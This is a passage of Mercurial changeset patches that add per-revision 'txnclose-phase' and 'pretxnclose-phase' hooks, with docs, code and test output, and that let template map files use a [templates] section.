+  | |  summary:     yy
+  | |
+  o |  changeset:   4:125c9a1d6df6
+  | |  bookmark:    Y
+  | |  bookmark:    Z@2
+  | |  phase:       public
+  | |  parent:      2:db815d6d32e6
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     x
+  | |
+  | o  changeset:   3:9ba5f110a0b3
+  |/   branch:      test
+  |    bookmark:    foo
+  |    bookmark:    four
+  |    phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     y
+  |
+  o  changeset:   2:db815d6d32e6
+  |  bookmark:    foo@2
+  |  bookmark:    should-end-on-two
+  |  bookmark:    x  y
+  |  phase:       public
+  |  parent:      0:f7b1eb17ad24
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     2
+  |
+  | o  changeset:   1:925d80f479bb
+  |/   bookmark:    X2
+  |    bookmark:    Z@1
+  |    phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     1
+  |
+  o  changeset:   0:f7b1eb17ad24
+     bookmark:    foo@1
+     phase:       public
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     0
+  
+
+attempt to create on a default changeset
+
+  $ hg bookmark -r 81dcce76aa0b NEW
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-bookmark.force-public hook exited with status 1
+  [255]
+
+create on a public changeset
+
+  $ hg bookmark -r 9ba5f110a0b3 NEW
+
+move to the other branch
+
+  $ hg bookmark -f -r 125c9a1d6df6 NEW
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-bookmark.force-forward hook exited with status 1
+  [255]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507477846 -7200
#      Sun Oct 08 17:50:46 2017 +0200
# Node ID cdf833d7de98af9287cc126adb8fefae32922e70
# Parent  c212947273a70d528cd5f2e8b8b356fcd4762e52
phase: add a dedicated txnclose-phase hook

The new 'txnclose-phase' hook expose the phase movement information stored in
'tr.changes['phases]'. To provide a simple and straightforward hook API to the
users, we introduce a new hook called for each revision affected.  Since a
transaction can affect the phase of multiple changesets, updating the existing
'txnclose' hook to expose that information would be more complex. The data for
all moves will not fit in environment variables and iterations over each move
would be cumbersome. So the introduction of a new dedicated hook is
preferred in this changesets.

This does not exclude the addition of the full phase movement information to
the existing 'txnclose' in the future to help write more complex hooks.

diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -1014,6 +1014,16 @@
   is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
   about available variables.
 
+``txnclose-phase``
+  Run after any phase change has been committed. At this point, the
+  transaction can no longer be rolled back. The hook will run after the lock
+  is released.
+  The affected node is available in ``$HG_NODE``, the new phase will be
+  available in ``$HG_PHASE`` while the previous phase will be available in
+  ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE`` will be empty.  In
+  addition, the reason for the transaction opening will be in ``$HG_TXNNAME``,
+  and a unique identifier for the transaction will be in ``HG_TXNID``.
+
 ``txnabort``
   Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
   for details about available variables.
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -1299,6 +1299,16 @@
                         repo.hook('txnclose-bookmark', throw=False,
                                   txnname=desc, **pycompat.strkwargs(args))
 
+                if hook.hashook(repo.ui, 'txnclose-phase'):
+                    cl = repo.unfiltered().changelog
+                    phasemv = sorted(tr.changes['phases'].items())
+                    for rev, (old, new) in phasemv:
+                        args = tr.hookargs.copy()
+                        node = hex(cl.node(rev))
+                        args.update(phases.preparehookargs(node, old, new))
+                        repo.hook('txnclose-phase', throw=False, txnname=desc,
+                                  **pycompat.strkwargs(args))
+
                 repo.hook('txnclose', throw=False, txnname=desc,
                           **pycompat.strkwargs(hookargs))
             reporef()._afterlock(hookfunc)
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -632,3 +632,12 @@
 def hassecret(repo):
     """utility function that check if a repo have any secret changeset."""
     return bool(repo._phasecache.phaseroots[2])
+
+def preparehookargs(node, old, new):
+    if old is None:
+        old = ''
+    else:
+        old = '%s' % old
+    return {'node': node,
+            'oldphase': old,
+            'phase': '%s' % new}
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -2,6 +2,8 @@
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > phasereport=$TESTDIR/testlib/ext-phase-report.py
+  > [hooks]
+  > txnclose-phase.test = echo "test-hook-close-phase: \$HG_NODE:  \$HG_OLDPHASE -> \$HG_PHASE"
   > EOF
 
   $ hglog() { hg log --template "{rev} {phaseidx} {desc}\n" $*; }
@@ -26,6 +28,7 @@
 
   $ mkcommit A
   test-debug-phase: new rev 0:  x -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 1
 
 New commit are draft by default
 
@@ -36,6 +39,7 @@
 
   $ mkcommit B
   test-debug-phase: new rev 1:  x -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 1
 
   $ hglog
   1 1 B
@@ -46,6 +50,8 @@
   $ hg phase --public .
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:  1 -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  1 -> 0
   $ hg phase
   1: public
   $ hglog
@@ -54,8 +60,10 @@
 
   $ mkcommit C
   test-debug-phase: new rev 2:  x -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 1
   $ mkcommit D
   test-debug-phase: new rev 3:  x -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 1
 
   $ hglog
   3 1 D
@@ -67,6 +75,7 @@
 
   $ mkcommit E --config phases.new-commit='secret'
   test-debug-phase: new rev 4:  x -> 2
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> 2
   $ hglog
   4 2 E
   3 1 D
@@ -78,6 +87,7 @@
 
   $ mkcommit H
   test-debug-phase: new rev 5:  x -> 2
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:   -> 2
   $ hglog
   5 2 H
   4 2 E
@@ -92,6 +102,7 @@
   $ mkcommit "B'"
   test-debug-phase: new rev 6:  x -> 1
   created new head
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 1
   $ hglog
   6 1 B'
   5 2 H
@@ -108,6 +119,7 @@
   4: secret
   $ hg ci -m "merge B' and E"
   test-debug-phase: new rev 7:  x -> 2
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> 2
 
   $ hglog
   7 2 merge B' and E
@@ -155,6 +167,11 @@
   test-debug-phase: new rev 2:  x -> 1
   test-debug-phase: new rev 3:  x -> 1
   test-debug-phase: new rev 4:  x -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 1
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 1
   $ hglog
   7 2 merge B' and E
   6 1 B'
@@ -181,6 +198,7 @@
   $ hg up -q 4 # B'
   $ mkcommit Z --config phases.new-commit=secret
   test-debug-phase: new rev 5:  x -> 2
+  test-hook-close-phase: 2713879da13d6eea1ff22b442a5a87cb31a7ce6a:   -> 2
   $ hg phase .
   5: secret
 
@@ -192,6 +210,7 @@
   $ mkcommit I
   test-debug-phase: new rev 8:  x -> 1
   created new head
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> 1
   $ hg push ../push-dest
   pushing to ../push-dest
   searching for changes
@@ -200,6 +219,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
   test-debug-phase: new rev 6:  x -> 1
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> 1
 
 :note: The "(+1 heads)" is wrong as we do not had any visible head
 
@@ -253,6 +273,11 @@
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hglog
   4 0 B'
@@ -278,6 +303,11 @@
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
   $ hglog -R clone-dest
   4 0 B'
   3 0 D
@@ -477,6 +507,7 @@
 
   $ hg phase --public -r 2
   test-debug-phase: move rev 2: 1 -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  1 -> 0
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -501,6 +532,7 @@
 
   $ hg phase --draft --force 2
   test-debug-phase: move rev 2: 0 -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  0 -> 1
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -524,6 +556,8 @@
   $ hg phase --draft --force 1::4
   test-debug-phase: move rev 1: 0 -> 1
   test-debug-phase: move rev 4: 2 -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  0 -> 1
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  2 -> 1
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -550,8 +584,15 @@
   test-debug-phase: move rev 4: 1 -> 0
   test-debug-phase: move rev 6: 1 -> 0
   test-debug-phase: move rev 7: 2 -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  1 -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  1 -> 0
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  1 -> 0
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  1 -> 0
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:  1 -> 0
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  2 -> 0
   $ hg phase --draft '5 or 7'
   test-debug-phase: move rev 5: 2 -> 1
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  2 -> 1
   cannot move 1 changesets to a higher phase, use --force
   phase changed for 1 changesets
   [1]
@@ -611,6 +652,13 @@
   test-debug-phase: new rev 4:  x -> 0
   test-debug-phase: new rev 5:  x -> 0
   test-debug-phase: new rev 6:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> 0
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> 0
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd clonewithobs
diff --git a/tests/test-push-http.t b/tests/test-push-http.t
--- a/tests/test-push-http.t
+++ b/tests/test-push-http.t
@@ -61,6 +61,7 @@
   > [hooks]
   > changegroup = sh -c "printenv.py changegroup 0"
   > pushkey = sh -c "printenv.py pushkey 0"
+  > txnclose-phase.test = echo "phase-move: \$HG_NODE:  \$HG_OLDPHASE -> \$HG_PHASE"
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -70,6 +71,8 @@
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
   remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -87,6 +90,8 @@
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
   remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -104,6 +109,8 @@
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
   remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507476198 -7200
#      Sun Oct 08 17:23:18 2017 +0200
# Node ID f6d17075608ff6913df0551ac35050a46365bdd2
# Parent  cdf833d7de98af9287cc126adb8fefae32922e70
phase: add a dedicated pretxnclose-phase hook

This new hook mirror the newly introduced 'txnclose-phase' but can abort the
transaction.

diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -1002,6 +1002,17 @@
   ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
   ``HG_TXNID``.
 
+``pretxnclose-phase``
+  Run right before a phase change is actually finalized. Any repository change
+  will be visible to the hook program. This lets you validate the transaction
+  content or change it. Exit status 0 allows the commit to proceed.  A non-zero
+  status will cause the transaction to be rolled back.
+  The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
+  while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
+  will be empty.  In addition, the reason for the transaction opening will be in
+  ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
+  ``HG_TXNID``.
+
 ``txnclose``
   Run after any repository transaction has been committed. At this
   point, the transaction can no longer be rolled back. The hook will run
@@ -1017,12 +1028,8 @@
 ``txnclose-phase``
   Run after any phase change has been committed. At this point, the
   transaction can no longer be rolled back. The hook will run after the lock
-  is released.
-  The affected node is available in ``$HG_NODE``, the new phase will be
-  available in ``$HG_PHASE`` while the previous phase will be available in
-  ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE`` will be empty.  In
-  addition, the reason for the transaction opening will be in ``$HG_TXNNAME``,
-  and a unique identifier for the transaction will be in ``HG_TXNID``.
+  is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
+  available variables.
 
 ``txnabort``
   Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -1243,6 +1243,14 @@
                     repo.hook('pretxnclose-bookmark', throw=True,
                               txnname=desc,
                               **pycompat.strkwargs(args))
+            if hook.hashook(repo.ui, 'pretxnclose-phase'):
+                cl = repo.unfiltered().changelog
+                for rev, (old, new) in tr.changes['phases'].items():
+                    args = tr.hookargs.copy()
+                    node = hex(cl.node(rev))
+                    args.update(phases.preparehookargs(node, old, new))
+                    repo.hook('pretxnclose-phase', throw=True, txnname=desc,
+                              **pycompat.strkwargs(args))
 
             repo.hook('pretxnclose', throw=True,
                       txnname=desc, **pycompat.strkwargs(tr.hookargs))
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -732,3 +732,94 @@
   rollback completed
   abort: pretxnclose hook exited with status 1
   [255]
+
+Check that pretxnclose-phase hook can control phase movement
+
+  $ hg phase --force b3325c91a4d9 --secret
+  test-debug-phase: move rev 3: 0 -> 2
+  test-debug-phase: move rev 4: 0 -> 2
+  test-debug-phase: move rev 5: 1 -> 2
+  test-debug-phase: move rev 7: 0 -> 2
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  0 -> 2
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  0 -> 2
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  1 -> 2
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  0 -> 2
+  $ hg log -G -T phases
+  @    changeset:   7:17a481b3bccb
+  |\   tag:         tip
+  | |  phase:       secret
+  | |  parent:      6:cf9fe039dfd6
+  | |  parent:      4:a603bfb5a83e
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     merge B' and E
+  | |
+  | o  changeset:   6:cf9fe039dfd6
+  | |  phase:       public
+  | |  parent:      1:27547f69f254
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     B'
+  | |
+  o |  changeset:   4:a603bfb5a83e
+  | |  phase:       secret
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     E
+  | |
+  o |  changeset:   3:b3325c91a4d9
+  | |  phase:       secret
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     D
+  | |
+  o |  changeset:   2:f838bfaca5c7
+  |/   phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     C
+  |
+  o  changeset:   1:27547f69f254
+  |  phase:       public
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     B
+  |
+  o  changeset:   0:4a2df7238c3b
+     phase:       public
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     A
+  
+
+Install a hook that prevent b3325c91a4d9 to become public
+
+  $ cat >> .hg/hgrc << EOF
+  > [hooks]
+  > pretxnclose-phase.nopublish_D = (echo \$HG_NODE| grep -v b3325c91a4d9>/dev/null) || [ 0 -lt \$HG_PHASE ]
+  > EOF
+
+Try various actions. only the draft move should succeed
+
+  $ hg phase --public b3325c91a4d9
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
+  $ hg phase --public a603bfb5a83e
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
+  $ hg phase --draft 17a481b3bccb
+  test-debug-phase: move rev 3: 2 -> 1
+  test-debug-phase: move rev 4: 2 -> 1
+  test-debug-phase: move rev 7: 2 -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  2 -> 1
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  2 -> 1
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  2 -> 1
+  $ hg phase --public 17a481b3bccb
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1471685582 -32400
#      Sat Aug 20 18:33:02 2016 +0900
# Node ID 56f0853346112448b96140dbfd1d3597d061bd84
# Parent  f6d17075608ff6913df0551ac35050a46365bdd2
templater: simplify merge of __base__ dicts by reading it first

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1344,6 +1344,26 @@
 
     cache = {}
     tmap = {}
+
+    val = conf.get('', '__base__')
+    if val and val[0] not in "'\"":
+        # treat as a pointer to a base class for this style
+        path = util.normpath(os.path.join(base, val))
+
+        # fallback check in template paths
+        if not os.path.exists(path):
+            for p in templatepaths():
+                p2 = util.normpath(os.path.join(p, val))
+                if os.path.isfile(p2):
+                    path = p2
+                    break
+                p3 = util.normpath(os.path.join(p2, "map"))
+                if os.path.isfile(p3):
+                    path = p3
+                    break
+
+        cache, tmap = _readmapfile(path)
+
     for key, val in conf[''].items():
         if not val:
             raise error.ParseError(_('missing value'), conf.source('', key))
@@ -1352,30 +1372,7 @@
                 raise error.ParseError(_('unmatched quotes'),
                                        conf.source('', key))
             cache[key] = unquotestring(val)
-        elif key == "__base__":
-            # treat as a pointer to a base class for this style
-            path = util.normpath(os.path.join(base, val))
-
-            # fallback check in template paths
-            if not os.path.exists(path):
-                for p in templatepaths():
-                    p2 = util.normpath(os.path.join(p, val))
-                    if os.path.isfile(p2):
-                        path = p2
-                        break
-                    p3 = util.normpath(os.path.join(p2, "map"))
-                    if os.path.isfile(p3):
-                        path = p3
-                        break
-
-            bcache, btmap = _readmapfile(path)
-            for k in bcache:
-                if k not in cache:
-                    cache[k] = bcache[k]
-            for k in btmap:
-                if k not in tmap:
-                    tmap[k] = btmap[k]
-        else:
+        elif key != '__base__':
             val = 'default', val
             if ':' in val[1]:
                 val = val[1].split(':', 1)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507970501 -32400
#      Sat Oct 14 17:41:41 2017 +0900
# Node ID e5a2cfc524d42bf09b4ed5766bb9031fe5c1f0e0
# Parent  56f0853346112448b96140dbfd1d3597d061bd84
config: allow remapping the default section

The next patch depends on it. It doesn't make sense that the default section
can't be remapped with {'': whatever}.

diff --git a/mercurial/config.py b/mercurial/config.py
--- a/mercurial/config.py
+++ b/mercurial/config.py
@@ -118,6 +118,9 @@
         line = 0
         cont = False
 
+        if remap:
+            section = remap.get(section, section)
+
         for l in data.splitlines(True):
             line += 1
             if line == 1 and l.startswith('\xef\xbb\xbf'):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507971061 -32400
#      Sat Oct 14 17:51:01 2017 +0900
# Node ID f4aeb952ab77c25525f76b0cedecc5b2e4b3e975
# Parent  e5a2cfc524d42bf09b4ed5766bb9031fe5c1f0e0
templater: load template fragments from [templates] section in map file

This allows us to %include map-cmdline.<style> file in our .hgrc files. The
syntax is slightly different as hgrc doesn't support loading an external
template file, but map-cmdline files don't use this feature, so the syntax
can be considered identical in practice.

Unnamed section is remapped for backward compatibility.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1340,12 +1340,12 @@
 
     base = os.path.dirname(mapfile)
     conf = config.config(includepaths=templatepaths())
-    conf.read(mapfile)
+    conf.read(mapfile, remap={'': 'templates'})
 
     cache = {}
     tmap = {}
 
-    val = conf.get('', '__base__')
+    val = conf.get('templates', '__base__')
     if val and val[0] not in "'\"":
         # treat as a pointer to a base class for this style
         path = util.normpath(os.path.join(base, val))
@@ -1364,13 +1364,14 @@
 
         cache, tmap = _readmapfile(path)
 
-    for key, val in conf[''].items():
+    for key, val in conf['templates'].items():
         if not val:
-            raise error.ParseError(_('missing value'), conf.source('', key))
+            raise error.ParseError(_('missing value'),
+                                   conf.source('templates', key))
         if val[0] in "'\"":
             if val[0] != val[-1]:
                 raise error.ParseError(_('unmatched quotes'),
-                                       conf.source('', key))
+                                       conf.source('templates', key))
             cache[key] = unquotestring(val)
         elif key != '__base__':
             val = 'default', val
diff --git a/mercurial/templates/map-cmdline.bisect b/mercurial/templates/map-cmdline.bisect
--- a/mercurial/templates/map-cmdline.bisect
+++ b/mercurial/templates/map-cmdline.bisect
@@ -1,5 +1,6 @@
 %include map-cmdline.default
 
+[templates]
 changeset = '{cset}{lbisect}{branches}{bookmarks}{tags}{parents}{user}{ldate}{summary}\n'
 changeset_quiet = '{lshortbisect} {rev}:{node|short}\n'
 changeset_verbose = '{cset}{lbisect}{branches}{bookmarks}{tags}{parents}{user}{ldate}{lfiles}{lfile_copies_switch}{description}\n'
diff --git a/mercurial/templates/map-cmdline.changelog b/mercurial/templates/map-cmdline.changelog
--- a/mercurial/templates/map-cmdline.changelog
+++ b/mercurial/templates/map-cmdline.changelog
@@ -1,3 +1,4 @@
+[templates]
 header = '{date|shortdate}  {author|person}  <{author|email}>\n\n'
 header_verbose = ''
 changeset = '\t* {files|stringify|fill68|tabindent}{desc|fill68|tabindent|strip}\n\t[{node|short}]{tags}{branches}\n\n'
diff --git a/mercurial/templates/map-cmdline.compact b/mercurial/templates/map-cmdline.compact
--- a/mercurial/templates/map-cmdline.compact
+++ b/mercurial/templates/map-cmdline.compact
@@ -1,3 +1,4 @@
+[templates]
 ldate = '{label("log.date",
                 "{date|isodate}")}'
 
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -1,5 +1,7 @@
 # Base templates. Due to name clashes with existing keywords, we have
 # to replace some keywords with 'lkeyword', for 'labelled keyword'
+
+[templates]
 changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{summary}\n'
 changeset_quiet = '{lnode}'
 changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lfiles}{lfile_copies_switch}{description}\n'
diff --git a/mercurial/templates/map-cmdline.phases b/mercurial/templates/map-cmdline.phases
--- a/mercurial/templates/map-cmdline.phases
+++ b/mercurial/templates/map-cmdline.phases
@@ -1,3 +1,5 @@
 %include map-cmdline.default
+
+[templates]
 changeset = '{cset}{branches}{bookmarks}{tags}{lphase}{parents}{user}{ldate}{summary}\n'
 changeset_verbose = '{cset}{branches}{bookmarks}{tags}{lphase}{parents}{user}{ldate}{lfiles}{lfile_copies_switch}{description}\n'
diff --git a/mercurial/templates/map-cmdline.show b/mercurial/templates/map-cmdline.show
--- a/mercurial/templates/map-cmdline.show
+++ b/mercurial/templates/map-cmdline.show
@@ -3,6 +3,8 @@
 #   piggyback on existing values so color works.
 # * Obsolescence isn't considered for node labels. See _cset_labels in
 #   map-cmdline.default.
+
+[templates]
 showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, nodelen)}\n'
 
 showwork = '{cset_shortnode}{namespaces % cset_namespace} {cset_shortdesc}'
diff --git a/mercurial/templates/map-cmdline.status b/mercurial/templates/map-cmdline.status
--- a/mercurial/templates/map-cmdline.status
+++ b/mercurial/templates/map-cmdline.status
@@ -1,5 +1,6 @@
 %include map-cmdline.default
 
+[templates]
 # Override base templates
 changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{summary}{lfiles}\n'
 changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{description}{lfiles}\n'
diff --git a/mercurial/templates/map-cmdline.xml b/mercurial/templates/map-cmdline.xml
--- a/mercurial/templates/map-cmdline.xml
+++ b/mercurial/templates/map-cmdline.xml
